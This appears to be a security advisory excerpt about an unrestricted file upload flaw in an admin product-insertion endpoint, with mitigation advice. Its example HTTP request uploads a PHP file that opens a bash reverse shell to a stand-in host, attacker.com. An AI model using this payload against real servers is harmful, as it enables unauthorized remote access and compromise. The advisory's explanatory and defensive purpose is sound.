How the Exploit Works
An attacker can exploit this vulnerability by uploading an arbitrary file with a malicious payload onto the server using the vulnerable endpoint (/admin/insert-product.php). Due to the lack of extension validation in the upload functionality, the server accepts the malicious file, which can then be executed on the server, leading to potential system compromise or data leakage.
Conceptual Example Code
Here is a conceptual example of how the vulnerability might be exploited using a malicious HTTP POST request:
POST /admin/insert-product.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious.php"
Content-Type: application/x-php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/8080 0>&1'"); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--In this conceptual example, the attacker uploads a malicious PHP file that, when executed, opens a reverse shell to the attacker’s server, providing them with unauthorized access to the system.
Mitigation Guidance
To mitigate this vulnerability, apply the vendor-provided patch as soon as possible. If a patch is not immediately available, consider implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. These systems can be configured to block or alert on attempts to upload files with potentially unsafe extensions.
